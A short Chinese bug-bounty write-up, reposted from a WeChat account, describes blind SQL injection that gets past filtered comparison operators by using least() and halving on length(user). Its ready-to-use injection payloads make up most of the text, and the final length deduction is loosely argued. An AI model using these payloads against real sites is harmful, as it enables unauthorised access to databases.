二分法SQL注入
0x1 概述
当like、=、rlike、in、>、<都被过滤的时候,可尝试
0x2 过程
先确定注入点
'||+0+||'
'||+1+||'
由上可知0是查询不到的,大于0的数则能查到,因为用的是或逻辑,继续测试时发现like、=、rlike、in、>、<这样的比较符都被过滤了,且greatest、least函数没被过滤(前者返回最大值,后者返回最小值)。于是尝试二分注入,构造payload:
'||+least((length(user)/length(user)),1)+||'
'||+least((length(user)/length(user))-1,1)+||'
见上两图,同传入1和0效果一样,因此判断此处可尝试二分法注入,当构造到如下图所示时:
'||+least((length(user)/2)/2/2-1,1)+||'
'||+least((length(user)/2)/2/2,1)+||'
因此可以确定出user的长度为:2^3+1=9
原文始发于微信公众号(土拨鼠的安全屋):src案例 | 二分法SQL注入绕过
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论